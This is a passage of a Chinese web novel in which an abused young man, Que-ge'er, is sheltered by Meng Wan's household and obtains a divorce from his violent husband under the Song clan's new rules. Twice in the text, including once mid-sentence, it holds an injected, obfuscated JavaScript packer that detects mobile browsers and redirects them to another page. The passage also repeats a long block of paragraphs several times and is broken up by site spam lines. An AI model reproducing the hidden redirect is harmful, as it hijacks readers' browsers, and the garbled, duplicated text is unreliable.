他身后跟着的几个都是他的堂兄弟们,被蚩羽揍过之后也疼得龇牙咧嘴的对着院子里叫喊,“你爹娘都不管了,哥嫂也不让你回娘家,你就算是跑到别人家能待几天?早点回家也省的杨春生气。” 雀哥儿本来晕晕沉沉的在院里坐着,听到他们的话悲从心来,努力睁开眼睛望向门外,眼眶瞪得通红,却一滴眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683503|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪也没落下。 “婶子,你们别让他们进来把我带走,回杨春家我就没命了。我不会在你家多留,等他们走了,我就离开。”他弱声哀求常金花。 常金花忙叫苇莺去烧水给雀哥儿擦洗伤口,安抚他道:“你放心,婶子不让他们进来,都是一个村子的,说什么走不走,你进屋躺一会儿,婶子叫人去镇上请郎中给你看看。” 雀哥儿也就强撑这么一会儿,听到常金花说不会将他交给杨春的话,眼一闭、头一歪险些从椅子上摔倒。 蚩羽把人给抱进屋里,常金花皱着眉对儿子说:“大郎。” 宋亭舟往外迈了一步,“滚。” 他身量高挑,腰腿看着便劲瘦有力,气势极具压迫感,往门口这么一站,比来回来去的骂口水仗还管用。 杨春还想再硬着头皮放放狠话,生生被几个兄弟给拉走了。这里毕竟是三泉村,三泉村这些年来名头可大了去了,姓宋的族里头有当官的,各个腰杆子挺得笔直,再闹下去也不见得能讨到什么好处。 反正雀哥儿嫁到了他们杨家,就是杨家的人了,总也不能跑 你的朋友正在书荒,快去帮帮他吧 了,没准明天后天就自己回家了呢? 松山去镇上请郎中,常金花便同孟晚说:“雀哥儿是谁家的孩子都好说,竟然还是宋大耿家的,咱们将他留在家里不缺地方也不差这口饭,可杨家的人说的对,宋大耿要是不留他,一直在咱们家待着也不是回事,晚哥儿,你说咋整啊?” 孟晚看着躺在床上昏迷不醒的人,雀哥儿身上的伤很多,有新有旧,除了脸上的伤痕外,他躺下时脖子上的掐痕也很明显,叫孟晚看得出神。 许久之后他才回复常金花,“娘,你就不用操心了,夫君刚立了族规要善待族中内眷,雀哥儿姓宋,那他就是宋家的人,他爹娘不管,族中也不能坐视不理。” 常金花放了一半的心,但还是膈应宋治大姑,也就是雀哥儿他娘,怕她趁机又纠缠上来。 镇上的郎中被请回来之后,给伤患号了脉,又留下敷外伤的药粉和草药,云雀在炉子上煎药,苇莺便给雀哥儿清理伤口,包扎换衣。 夜里宋亭舟在窗口熏了把草药进屋,身上还泛着刚洗漱后的潮气,他上床半抱着孟晚,轻声说道:“我晚两天再走,等雀哥儿的事了结了再说。” 孟晚转过身来与他面的面,“你多留几日,路上便要赶路又劳累。就这么点的小事还不好说,能用得到你特意留下?” 宋亭舟眼睛黏在他的唇上,贴上去亲了两口,“晚儿,这正是个给族中人树立典范的机会。” “我懂。”孟晚道:“不然也不会那么和娘说,你安心回京,等气候凉爽一些,我便也带着娘回去了。” 他们才相聚了不到一月的功夫,就又要分开,宋亭舟心中满是不舍,难得窝在孟晚颈间哑声央求道:“要早些回京去。” 孟晚弯起眼睛蹭了蹭他,“知道啦,走的时候不要忘了去看看阿砚。” 宋亭舟因为要赶路,所以行李不多,简单收拾一番就能走了,第二天一早他趁孟晚还没睡醒的时候就起了身,没惊动家里人,叫槿姑给装好昨夜就烙好的饼子和其他干粮,牵上马就出了家门。 陶八和陶十一跟在他身后,一行三人到镇上的时候直奔方家。只过了两刻钟,方家门口便多了几个送行的人。 “爹,你别忘了给我买最新样式的娟人,去晚了就买不到了。”阿砚不放心的叮嘱宋亭舟。 宋亭舟:“……” 除了阿砚外,方锦容也在嘱咐葛老头,他和葛全各骑了一匹马,将葛老头和通儿都留在方家。 “师父,你一会儿将两孩子送去宋家的时候不许喝酒,乡路不好走,万一掉沟里怎么办?”方锦容和儿子待了几天,难得升起几分慈父之心,叮嘱了葛老头几句。 葛老头敷衍的摆摆手,“放心放心,快走吧,一会儿太阳都大了。” 方大爷不大舍得小儿子,“就让葛全自己赴京,你晚些和孟夫郎一起走不成吗?” 方锦容早就呆够了,安抚他爹几句,头也不回的跟葛全跑了。 第65章 宋治 宋亭舟和葛全一行人一路奔波,朝廷正是用人之际,文官被贬了一堆,他虽然明面上还是三品顺天府尹,实际上还兼着其他公务。 好在方锦容跟着葛全走江湖惯了,赶路也没有抱怨过什么,反正只要不让他见天在一个宅子关着,去哪儿都好。 “这次回来才见了晚哥儿两面,前两天你们去谷青县干嘛去了?”方锦容好奇地问。 宋亭舟在马背上回望来时路,语气中带着怀念,“去看了一位故友,为他上三炷香。”本来他和孟晚戴上了刀铲,却没想到严知县和小柳的墓前干干净净,并无半根杂草,连墓前供奉的馒头、果子也没有人动,自然放到风干。 方锦容若有所思,“是你们俩共同的好朋友?那一定是个很好的人。” 孟晚这小半生见过的人太多了,真正称得上是他好友也就只有聂知遥和方锦容而已。宋亭舟方锦容不大了解,但葛全说他是个正直且有城府的好官。 能得孟晚和宋亭舟两人记挂,一定是有大作为的人。 宋亭舟沉默地点了点头。 行了几日,他们在路上遇到一个意想不到的人。 “族叔?”骑着马的年轻人容貌清隽,两相擦肩而过的时候突然叫住了宋亭舟。 宋亭舟勒停马匹,“你是宋治?” 宋治风尘仆仆地下了马,拱手恭敬道:“自从收到了族叔的信,侄儿就从府学告了假,和我爹快马加鞭地往村子里赶,没想到会在这里遇到族叔,家里大姑无状得罪了老夫人,都是侄儿没有多加管束,还望族叔莫要怪罪。” 他说话斯文有礼,并没有一味地推卸责任,而且算算日子,才几日工夫就从府城赶来,确实是收到信半天也没耽搁,日夜兼程往回赶的。 宋亭舟没有下马,俯视他的双目,里面澄澈一片,满是愧疚的情绪,相处时间太短,暂时分辨不出来是不是装的,总归第一印象还算不错。 “好好约束你姑姑,不然与你仕途有碍,若有差池,可毁人一生。”宋亭舟急着赶路,说完就扬鞭离开了。 宋治对着他的背影又作了个揖,“多谢族叔教诲,侄儿铭记在心。” —— 雀哥儿的伤还没养好,杨春家里带人找上了门,他们已经打听到了孟晚家的来历,本来忐忑了几天,不敢上门。后来转念一想,雀哥儿和宋亭舟是 八竿子打不到的远亲,雀哥儿早晚还得回来,杨春爹娘找了杨家村的村长来上门说和,希望宋家放人。 “既然村长来了,我作为晚辈怕招待不好,干脆让我们族长跟你们谈吧?”孟晚并不放人进门,转头吩咐松山去族里喊人。 杨家村的村长憨厚地笑了笑,“也不用那么麻烦,叫雀哥儿出来和杨春说说话就成了,他们小两口把话说开了,雀哥儿也就家去了。” 孟晚只是笑笑,倚在门框上不说话,摆明了油盐不进。 因着知道了宋亭舟的身份,这群人也不敢像上次一样硬闯,只能尴尬地在大门外站着。 族长很快带着族中的青壮赶了过来,宋亭舟才刚走,若是孟晚就被旁人给冲撞了,岂不是他们没有照看好? “晚哥儿啊,怎么了?我听说杨家村的人过来**?”族长警惕地看着他们一行青壮年,足足三十几号人,就这么堵在孟晚家门口,着实像是来**的。 杨家村的村长是认得族长的,“老哥,我们是过来接雀哥儿的,好歹是杨春夫郎,总在你们三泉村住着不回家也不像话,你看对吧?” 若是寻常人家,他们定不会像现在这样好说话,早就打进去抢人了。 族长也知道雀哥儿在孟晚家里的事,他试探地问:“晚哥儿,你看……” 孟晚一改刚才油盐不进的嘴脸,“嗨,找雀哥儿回家啊?早说啊?蚩羽,去把雀哥儿叫出来。” 杨家村的人没想到事情如此顺利,琢磨着也是这家人烦了雀哥儿,也是,娘家都不收留,只是族亲管他这些天已经是仗义了。 人群里杨春一脸快意,他已经想好等接了雀哥儿回家,要怎么收拾他才让他下次不敢再跑了。 雀哥儿才在孟晚家养了四天,身上的伤依旧触目惊心,他额头缠着一圈淡黄色的麻布,脸色因为失血过多而惨白,见到这么多的人在门外,没有太过意外,他们吵吵嚷嚷的,雀哥儿在屋里都听到了。 他望着外面或熟悉或陌生的人,直到对上杨春阴恻恻的眼睛,烈日笼罩下,硬生生地打了个哆嗦。 “雀哥儿,杨家的人来接你了,你要跟着他们回去吗?”孟晚抬手按住他的肩膀,并不宽厚的手掌似乎带给雀哥儿一丝力量,他止住颤抖,坚定地说:“不回,杨春,我不会和你回去的!” “你个**!我看你是没挨够打!”杨春 怒火中烧,猛地窜出人群闯进院子。 蚩羽速度比他更快,他护在孟晚和雀哥儿身前,拳头攥得咔咔作响,“我看没挨够打的是你?敢在我家夫郎面前放肆,吃我一拳!” 他一拳挥出去直奔杨春面门,“咔哧”一声清脆的响声自杨春鼻梁响起,随即便是一声惨叫。 杨春捂着鼻子哀嚎,鼻下顺着两侧唇边流到下巴。 雀哥儿与他只相隔三步远,刚才杨春冲过来的瞬间他腿都软了,日日夜夜被打被虐不是假的,面对杨春他下意识的恐惧,雀哥儿下意识后退半步,却被身边的孟晚扶住,稳稳当当地让他立在原地。 “你想一辈子看到杨春就躲吗?不管你要不要跟他回去,都记住,他只是个普通男人,个子不高,身量偏瘦,你打不过他,却也不至于怕到不敢面对他。” 孟晚的声音不重,却意外带着某种力量。雀哥儿平凡的五官上突然浮现出一丝坚毅的神色,他站稳了脚步,微挺腰板,然后看见杨春被蚩羽一拳打到鼻梁骨断裂,发出难听的嚎叫声。 从未有过的快意涌上心头。 雀哥儿不自觉地勾了勾嘴角,他自己可能都没发现他此刻在笑。 孟晚瞥见他脸上的表情,若有所思。 一般人长时间被**很难再升起反抗的心思,不会有雀哥儿这样的胆量屡次逃跑自救,他好像自身就很有勇气。 杨春被打,本来还算平和的氛围陡然紧张起来。杨家村那边嚷嚷着要推搡进来,宋家这边自然不干,两头若不是各有村长约束,只怕现在已经混战开了。 杨家村的村长不敢找孟晚麻烦,便沉着脸呵斥雀哥儿,“雀哥儿,你看你像什么样子,快跟杨春回家去!” 雀哥儿犟着脖子,声音虽然不大,甚至有些没底,却依旧执着地说:“不回!” “你!”杨春堂兄拔高声音,又要威胁雀哥儿,被蚩羽一眼给瞪了回去。 他抬起健硕的臂膀,夏天的薄衫遮不住他一身鼓鼓囊囊的肌肉,杨家人屈服于他的**之下,暂且安静下来。 孟晚先让蚩羽把宋家人都放了进来,有雀哥儿的亲戚要劝,他们也生气雀哥儿被人打成这样,但首先想法是教训杨春一顿,让他给雀哥儿服个软,两边都消了气儿,过几天雀哥儿还是要回去的。 “雀哥儿,你放心,大伯一会儿让你哥捶他几下给你 出气。” “一会儿三叔叫你爹娘来接你,总麻烦晚哥儿也不是回事,你就在家等着,这杨春接人也要有接人的态度,他不好好说话,咱们不跟他走!” “就是!” 不光杨家村的人,连宋家的人也默认了雀哥儿早晚要回去。 雀哥儿眼底有一丝绝望之色在蔓延,三泉村、杨家村,好像哪里都没有他能容身的地方。 “你决定了这辈子都不会再回杨家村,绝不后悔吗?”孟晚的声音如一柄刺破黑夜的利箭,直戳进雀哥儿布满阴霾的天空。 雀哥儿被沉甸甸的绝望压得喘不过气来,却仍是抓着这柄剑,拖着被割碎的血肉,从喉间艰难地挤出一句,“我就是死,也不死在杨家。” 孟晚注视他片刻,突然扭头看向年迈的族长,“族长,我夫君留下的族规怎么说的?“义乃明是非、行事有度。宗族互助,济贫扶弱。族中公产需以资助孤寡、贫困为主,若遇天灾、人祸、疾病、官司等,患难相恤,合力相助?” 他带着雀哥儿往前走了几步,用杨家人也能听得到的音量继续说道:“宋氏族规第六页是否写明了,若是族中有外嫁的女娘小哥儿因夫君离世后受婆家排挤、夫家好赌成性惨遭遗弃、长期遭受夫家殴打伤重者,若欲和离,族中须主动介入相助?” 那本不薄**的族规是宋亭舟与孟晚合力修订,其中条例孟晚倒背如流。 如今宋家的读书人多了,就是没有个个都考上功名,随便谁家的孩子都能认得不少字。族长将那本族规研究了个遍,孟晚一说他便回想起来,确实有这么一条。 族规新行,大家其实不可能立即信服,但有宋亭舟这个大官顶着,敬畏却还是有的。 族长沉吟片刻,“既然这样,那就和离,写下和离书让杨家和雀哥儿各自按了手印,等秋收衙门来人了,和田税一并递交上去。” “和……离?”雀哥儿愣了,这是一条他没想过的路,他真的能干干净净地从杨家走出来吗? 宋家族人议论纷纷。 “和离?和离不行,和离了雀哥儿归谁家管?他爹娘不说,哥嫂都不能容他。” “咱们宋家只有守寡,哪儿有和离这么一说,叫人笑掉大牙。” “不成不成,雀哥儿要是和离了,往后族里其他女娘小哥儿还怎么嫁人啊?” “雀哥儿,你不能和离啊!”雀哥儿爹娘不知道一直在哪里偷听没有露面,这回听到族长说要雀哥儿和离,这会儿跑了出来。 宋治大姑再没有纠缠雨哥儿那个劲儿头,雀哥儿到底是她儿子,这会儿她眼眶通红抱着雀哥儿哭,口口声声说出的话却是让他回到虎狼窝去。 雀哥儿本来见到爹娘,脸上还有一丝触动,听了他们的话后却面色麻木,“那天你们为什么不带我走?” 他指着自己脸上的伤,当时又惊又怕,满脸是血的时候他没哭,这会儿面对爹娘他却哭得声嘶力竭,“你们知不知道你们走后杨春又动了手,还拿了刀,要不是我跑出来,这会儿早就死在杨家了!你们是要逼死我才甘心吗!” 宋治大姑抱着他哭,“我苦命的儿啊,雀哥儿,你怎么这么命苦啊!” 她一句正经话也说不出来,既不说要接雀哥儿回家,也不说许他和离。 雀哥儿爹恨声说道:“你就是死在杨家,也不许和离!” “叫什么叫,你说了又不算。”孟晚翻了个白眼,“前两天族规没好好听吗?族中无父无母的孤儿,与和离无家可归的小哥儿女娘,都可以在善堂安置。” 雀哥儿听后难以置信地抹抹眼睛,但想到他身上穿的衣裳还是苇莺的,料子比他自己的不知道软和多少倍,便停下动作用手胡乱揉了一下,“族规?善堂?我真的可以去善堂吗?” 孟晚对他说:“怎么不能?你好手好脚的,可先在善堂安置下来,只许你休整一年,一年后你就得靠自己养活自己。” 宋治大姑哭道:“他一个小哥儿,没钱没地的,往后自己要怎么养活自己啊!再找一个也只是年纪大的鳏夫肯要了。” 孟晚看她就烦,对其他族人说:“宋家是什么家族,他们杨家又是什么玩意?雀哥儿爹娘这对成事不足的东西,这叫长他人志气灭自己威风。” 当着杨家人的面,孟晚豪气地问了一句,“咱们宋家的哥儿女娘现在愁嫁吗?十里八乡又有谁家敢笑话咱们?” 宋氏一族的人腰杆子都挺直了,咧着大嘴说:“镇上地主老爷都要把咱们村里的路给夯平了,咱们村的秀才童生都要娶镇上县城的小姐,女娘小哥儿都不着急嫁人,嫁人也不嫁杨家这样的人家。” 大家都一脸鄙夷。 没人看到雀哥儿被打成这样还能无动于衷的,只要雀哥儿和离,涉及不到他们的利益,所有人都愿意做一个心疼晚辈的好心人。 不是讽刺,人心如此。 族长站在杨家村村长面前,一句话定下了今天这场闹剧的结尾,“雀哥儿是宋家人,不是让别人随便就能糟蹋的,哪怕杨家是他夫家,也不能!” “雀哥儿,你不能和离啊!”雀哥儿爹娘不知道一直在哪里偷听没有露面,这回听到族长说要雀哥儿和离,这会儿跑了出来。 宋治大姑再没有纠缠雨哥儿那个劲儿头,雀哥儿到底是她儿子,这会儿她眼眶通红抱着雀哥儿哭,口口声声说出的话却是让他回到虎狼窝去。 雀哥儿本来见到爹娘,脸上还有一丝触动,听了他们的话后却面色麻木,“那天你们为什么不带我走?” 他指着自己脸上的伤,当时又惊又怕,满脸是血的时候他没哭,这会儿面对爹娘他却哭得声嘶力竭,“你们知不知道你们走后杨春又动了手,还拿了刀,要不是我跑出来,这会儿早就死在杨家了!你们是要逼死我才甘心吗!” 宋治大姑抱着他哭,“我苦命的儿啊,雀哥儿,你怎么这么命苦啊!” 她一句正经话也说不出来,既不说要接雀哥儿回家,也不说许他和离。 雀哥儿爹恨声说道:“你就是死在杨家,也不许和离!” “叫什么叫,你说了又不算。”孟晚翻了个白眼,“前两天族规没好好听吗?族中无父无母的孤儿,与和离无家可归的小哥儿女娘,都可以在善堂安置。” 雀哥儿听后难以置信地抹抹眼睛,但想到他身上穿的衣裳还是苇莺的,料子比他自己的不知道软和多少倍,便停下动作用手胡乱揉了一下,“族规?善堂?我真的可以去善堂吗?” 孟晚对他说:“怎么不能?你好手好脚的,可先在善堂安置下来,只许你休整一年,一年后你就得靠自己养活自己。” 宋治大姑哭道:“他一个小哥儿,没钱没地的,往后自己要怎么养活自己啊!再找一个也只是年纪大的鳏夫肯要了。” 孟晚看她就烦,对其他族人说:“宋家是什么家族,他们杨家又是什么玩意?雀哥儿爹娘这对成事不足的东西,这叫长他人志气灭自己威风。” 当着杨家人的面,孟晚豪气地问了一句,“咱们宋家的哥儿女娘现在愁嫁吗?十里八乡又有谁家敢笑话咱们?” 宋氏一族的人腰杆子都挺直了,咧着大嘴说:“镇上地主老爷都要把咱们村里的路给夯平了,咱们村的秀才童生都要娶镇上县城的小姐,女娘小哥儿都不着急嫁人,嫁人也不嫁杨家这样的人家。” 大家都一脸鄙夷。 没人看到雀哥儿被打成这样还能无动于衷的,只要雀哥儿和离,涉及不到他们的利益,所有人都愿意做一个心疼晚辈的好心人。 不是讽刺,人心如此。 族长站在杨家村村长面前,一句话定下了今天这场闹剧的结尾,“雀哥儿是宋家人,不是让别人随便就能糟蹋的,哪怕杨家是他夫家,也不能!” “雀哥儿,你不能和离啊!”雀哥儿爹娘不知道一直在哪里偷听没有露面,这回听到族长说要雀哥儿和离,这会儿跑了出来。 宋治大姑再没有纠缠雨哥儿那个劲儿头,雀哥儿到底是她儿子,这会儿她眼眶通红抱着雀哥儿哭,口口声声说出的话却是让他回到虎狼窝去。 雀哥儿本来见到爹娘,脸上还有一丝触动,听了他们的话后却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋氏一族的人腰杆子都挺直了,咧着大嘴说:“镇上地主老爷都要把咱们村里的路给夯平了,咱们村的秀才童生都要娶镇上县城的小姐,女娘小哥儿都不着急嫁人,嫁人也不嫁杨家这样的人家。” 大家都一脸鄙夷。 没人看到雀哥儿被打成这样还能无动于衷的,只要雀哥儿和离,涉及不到他们的利益,所有人都愿意做一个心疼晚辈的好心人。 不是讽刺,人心如此。 族长站在杨家村村长面前,一句话定下了今天这场闹剧的结尾,“雀哥儿是宋家人,不是让别人随便就能糟蹋的,哪怕杨家是他夫家,也不能!” “雀哥儿,你不能和离啊!”雀哥儿爹娘不知道一直在哪里偷听没有露面,这回听到族长说要雀哥儿和离,这会儿跑了出来。 宋治大姑再没有纠缠雨哥儿那个劲儿头,雀哥儿到底是她儿子,这会儿她眼眶通红抱着雀哥儿哭,口口声声说出的话却是让他回到虎狼窝去。 雀哥儿本来见到爹娘,脸上还有一丝触动,听了他们的话后却面色麻木,“那天你们为什么不带我走?” 他指着自己脸上的伤,当时又惊又怕,满脸是血的时候他没哭,这会儿面对爹娘他却哭得声嘶力竭,“你们知不知道你们走后杨春又动了手,还拿了刀,要不是我跑出来,这会儿早就死在杨家了!你们是要逼死我才甘心吗!” 宋治大姑抱着他哭,“我苦命的儿啊,雀哥儿,你怎么这么命苦啊!” 她一句正经话也说不出来,既不说要接雀哥儿回家,也不说许他和离。 雀哥儿爹恨声说道:“你就是死在杨家,也不许和离!” “叫什么叫,你说了又不算。”孟晚翻了个白眼,“前两天族规没好好听吗?族中无父无母的孤儿,与和离无家可归的小哥儿女娘,都可以在善堂安置。” 雀哥儿听后难以置信地抹抹眼睛,但想到他身上穿的衣裳还是苇莺的,料子比他自己的不知道软和多少倍,便停下动作用手胡乱揉了一下,“族规?善堂?我真的可以去善堂吗?” 孟晚对他说:“怎么不能?你好手好脚的,可先在善堂安置下来,只许你休整一年,一年后你就得靠自己养活自己。” 宋治大姑哭道:“他一个小哥儿,没钱没地的,往后自己要怎么养活自己啊!再找一个也只是年纪大的鳏夫肯要了。” 孟晚看她就烦,对其他族人说:“宋家是什么家族,他们杨家又是什么玩意?雀哥儿爹娘这对成事不足的东西,这叫长他人志气灭自己威风。” 当着杨家人的面,孟晚豪气地问了一句,“咱们宋家的哥儿女娘现在愁嫁吗?十里八乡又有谁家敢笑话咱们?” 宋氏一族的人腰杆子都挺直了,咧着大嘴说:“镇上地主老爷都要把咱们村里的路给夯平了,咱们村的秀才童生都要娶镇上县城的小姐,女娘小哥儿都不着急嫁人,嫁人也不嫁杨家这样的人家。” 大家都一脸鄙夷。 没人看到雀哥儿被打成这样还能无动于衷的,只要雀哥儿和离,涉及不到他们的利益,所有人都愿意做一个心疼晚辈的好心人。 不是讽刺,人心如此。 族长站在杨家村村长面前,一句话定下了今天这场闹剧的结尾,“雀哥儿是宋家人,不是让别人随便就能糟蹋的,哪怕杨家是他夫家,也不能!” “雀哥儿,你不能和离啊!”雀哥儿爹娘不知道一直在哪里偷听没有露面,这回听到族长说要雀哥儿和离,这会儿跑了出来。 宋治大姑再没有纠缠雨哥儿那个劲儿头,雀哥儿到底是她儿子,这会儿她眼眶通红抱着雀哥儿哭,口口声声说出的话却是让他回到虎狼窝去。 雀哥儿本来见到爹娘,脸上还有一丝触动,听了他们的话后却面色麻木,“那天你们为什么不带我走?” 他指着自己脸上的伤,当时又惊又怕,满脸是血的时候他没哭,这会儿面对爹娘他却哭得声嘶力竭,“你们知不知道你们走后杨春又动了手,还拿了刀,要不是我跑出来,这会儿早就死在杨家了!你们是要逼死我才甘心吗!” 宋治大姑抱着他哭,“我苦命的儿啊,雀哥儿,你怎么这么命苦啊!” 她一句正经话也说不出来,既不说要接雀哥儿回家,也不说许他和离。 雀哥儿爹恨声说道:“你就是死在杨家,也不许和离!” “叫什么叫,你说了又不算。”孟晚翻了个白眼,“前两天族规没好好听吗?族中无父无母的孤儿,与和离无家可归的小哥儿女娘,都可以在善堂安置。” 雀哥儿听后难以置信地抹抹眼睛,但想到他身上穿的衣裳还是苇莺的,料子比他自己的不知道软和多少倍,便停下动作用手胡乱揉了一下,“族规?善堂?我真的可以去善堂吗?” 孟晚对他说:“怎么不能?你好手好脚的,可先在善堂安置下来,只许你休整一年,一年后你就得靠自己养活自己。” 宋治大姑哭道:“他一个小哥儿,没钱没地的,往后自己要怎么养活自己啊!再找一个也只是年纪大的鳏夫肯要了。” 孟晚看她就烦,对其他族人说:“宋家是什么家族,他们杨家又是什么玩意?雀哥儿爹娘这对成事不足的东西,这叫长他人志气灭自己威风。” 当着杨家人的面,孟晚豪气地问了一句,“咱们宋家的哥儿女娘现在愁嫁吗?十里八乡又有谁家敢笑话咱们?” 宋氏一族的人腰杆子都挺直了,咧着大嘴说:“镇上地主老爷都要把咱们村里的路给夯平了,咱们村的秀才童生都要娶镇上县城的小姐,女娘小哥儿都不着急嫁人,嫁人也不嫁杨家这样的人家。” 大家都一脸鄙夷。 没人看到雀哥儿被打成这样还能无动于衷的,只要雀哥儿和离,涉及不到他们的利益,所有人都愿意做一个心疼晚辈的好心人。 不是讽刺,人心如此。 族长站在杨家村村长面前,一句话定下了今天这场闹剧的结尾,“雀哥儿是宋家人,不是让别人随便就能糟蹋的,哪怕杨家是他夫家,也不能!” 第66章 坟冢 泉水镇内各个大大小小的村落,不管曾经如何,当下都以三泉村为首,宋家这边的族长一发话,那头杨家村的村长就不吭声了,只有杨春还在叫嚣。 “和离?做你的春秋白日梦! “婚书还在我们杨家,只要我不死,你生是杨家的人,死是杨家的鬼! 他鼻子被蚩羽打得剧痛,这会儿被袖子捂着还在渗血,说出的话并不真切,却透着一股如骨附蛆的阴狠感,仿佛一辈子也摆脱不了。 但蚩羽佯装要挥拳揍他,他又害怕地躲在别人身后,将欺软怕硬演绎得淋漓尽致。 “不想交婚书是吧?孟晚叫人,“松山,套车,咱们带着雀哥儿去县城报官去,就说有人行凶未遂,谷阳县新来的知县正好和我们家还有点交情,我去问问能把姓杨的判上几年。 没人怀疑孟晚说的真假,十里八乡都知道宋亭舟的官坐得顶大,天天都能见到皇帝老爷。具体多大说不上来,反正比知县大多了。 杨家村的村长从装死状态恢复过来,劝了一句,“杨春,你和雀哥儿既然过不下去了,好好说和离就是了,非要闹到官府去,别怪叔没提醒你,到时候我们可不陪你去县城打官司。 主要雀哥儿现在有人护着,明摆着去了衙门也不可能赢。 杨春爹娘听出村长话中的意思,忙拉着儿子,“二郎,和离就和离了,咱家不差钱,你长得又比旁人俊,还能找不着个媳妇儿?这雀哥儿长得又不出彩,配不上你。 杨春就是不甘心,他死盯着雀哥儿不放,恨不得生生从他身上啃下一块肉来。他休了雀哥儿也就罢了,两相和离他往后的面子往哪儿搁? 宋氏一族的族长叫了个青壮,“去族学找何夫子帮着写一封和离书来。 “杨春!杨家村村长示意他回家取婚书回来。 杨春不动换,他大哥按着他回家去找婚书,雀哥儿公婆怕儿子犯浑再给扯了,也忙着要跟上去。 “等等。 孟晚叫住他们,“雀哥儿在我家养伤,药钱和诊费共耗了三百一十文,这伤是你儿子打的,合该你们杨家出。 幸好杨春先被他大哥走在前面,这会儿他爹娘表情憋屈,杨家村这点人在三泉村完全没有宋家人有气场,再加上畏惧官威,自觉委屈地道:“出,我们这就回家取钱去。 事情 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 闹到现在,许多杨家村的人已经后悔来了,除了杨春家的亲戚,剩下的人和村长说了一声就回村去了。 宋家人想留就留,想走就回家去,大热的天大家各自找个树荫待着,雀哥儿还没养好伤,被常金花拉去屋子里歇着,他爹娘犹犹豫豫地跟了进去,没一会儿又灰头土脸的出来了,脸色都不好看。 雀哥儿爹临走前对着窗户骂了一句,“从小就是个犟种,你非要和离,也不许住到家里去。 雀哥儿在屋里喊了句,“你们非要逼死我,我就算饿得啃树皮、乞讨,也不会上你家的门! 院里的人面面相觑,“这雀哥儿是真拧,自己亲爹娘还能断亲咋的? “大哥大嫂,来吃瓜,大热的天,我家夫郎叫我们送出来给大家解解渴 “这……晚哥儿也太客气了,我们也没干啥。虽然也有人家种瓜,但也是少数,这年头只要是吃的就是好的,自家还抠抠搜搜,没谁有那么大方给别人家吃。 枝茂放下盘子,“我们家夫郎说了,今天雀哥儿的事多亏了大家帮忙,雀哥儿是要一辈子记得大家恩情的,族人就该守望相助,今天是雀哥儿出事大家来帮忙,往后别家有个什么大事小事,同样指望着族长和大家做主。 刚才说雀哥儿闲话的人心中一凛,纷纷住了嘴,虽然嘴上不说,但都想到若是自己家孩子往后出了这种事,别人难免也会说上几句风凉话,难听的话就一点也说不出口了。 过了一会儿村头何夫子先到了,他拿了笔墨纸砚过来,要当场给雀哥儿杨春写和离书,写完还先拿给孟晚过目了一眼,“孟夫郎,你看可行否? 孟晚接过去细细看了一遍,客气道:“夫子写得很详细,将他二人和离的前因后果都写得明明白白,真是多谢了。 何夫子对他很是恭敬,“应该的,若有用得到的地方,孟夫郎只管吩咐。 婚书写好,雀哥儿是不识字的,但孟晚以防万一,还是让他捏着笔,照样画葫芦地将自己名字生写了上去,又按了手印。 过了一会儿,杨家人驾了牛车赶过来,想必也是怕吃官司,想将事情赶紧了结,这才着急过来。 杨春目不识丁,杨家村的村长扶着他的手在和离书上写了名字、按了印泥,把婚书交给宋氏族长保管,只等秋后再递交给 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 衙门的人。 事情了结,杨家村的人一哄而散,杨春爹娘临走前不甘不愿地将铜板递给雀哥儿,还说了句连嘲带讽的话,“雀哥儿,和我们二郎和离,往后你可找不到我们家这样的夫家了,若是将来过活不下去,回头再倒贴,也就做个小了!” 孟晚倚在门口嗤笑,“你们什么样的夫家?专门杀媳妇的人家?那可真是长见识了,我看哪家那么坑孩子,知道你家有个**犯儿子还敢嫁过去。” 杨春娘被噎的说不出话来,见其他人也面带鄙夷地打量他们一家,到底不敢留下和孟晚争辩,灰溜溜地走了。 宋亭舟家本就在村口处,零零散散的杨家村人还没出三泉村,便见一辆马车从村外驶入,马在乡下是稀罕牲口,乡下人就算发达了也爱买牛,也就是外面的老爷们才养得起骏马。 “三泉村怎么又进马车了?” “人家村里出大官了,可不有的是乡绅地主的上杆子巴结吗?要不宋家人那么硬气,咱们村长在人家面前屁都不敢放一个。” “羡慕不来,人家村子里都出两个秀才了。” “我有个表弟在他们村干活,说是宋家要扩建族学,你说咱们把孩子也送过来咋样?” “人家挑着呢,听说别的镇子都有老爷过来想送孩子过来读书,这辆车上没准就,能要咱们家的笨儿子?拉倒吧,钱攒着给他娶媳妇得了,咱们就没有那个秀才爹娘的命。” “你们瞅瞅杨春那个劲儿,这小子保不齐还要去找雀哥儿。” “去也没用,婚书都交出去了,这雀哥儿气性也大,哪个婆娘没挨过打,就他这么能折腾。” “你说那话,雀哥儿都被打啥样了?要不是有人做主,真要被杨春给扒层皮了。” “说来说去还是宋家人护短,能容得下一个和离的小哥儿……” 车内的人与他们擦肩而过,马车缓慢行驶,村民们讨论宋家的话钻到车内,不过更多的还是今天雀哥儿和杨春和离风波。 这个时代,不论是繁华的扬州、天子脚下的盛京、还是寻常乡下,和离这个字眼都太过陌生,让人听了都觉得稀奇。 “雀哥儿?和离?”车内的人轻哑的声线带着一丝异样的情绪,他从车帘的缝隙中窥视落在队伍最后面的那家人。 那个捂着口鼻的受伤男子,再结合村民们说的话,和指着他们窃 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 窃私语的神情,此人应当就是杨春了? “偃,真的要回京?车厢里并不止他一人,还有一位配着长剑的剑客落坐在他对面。 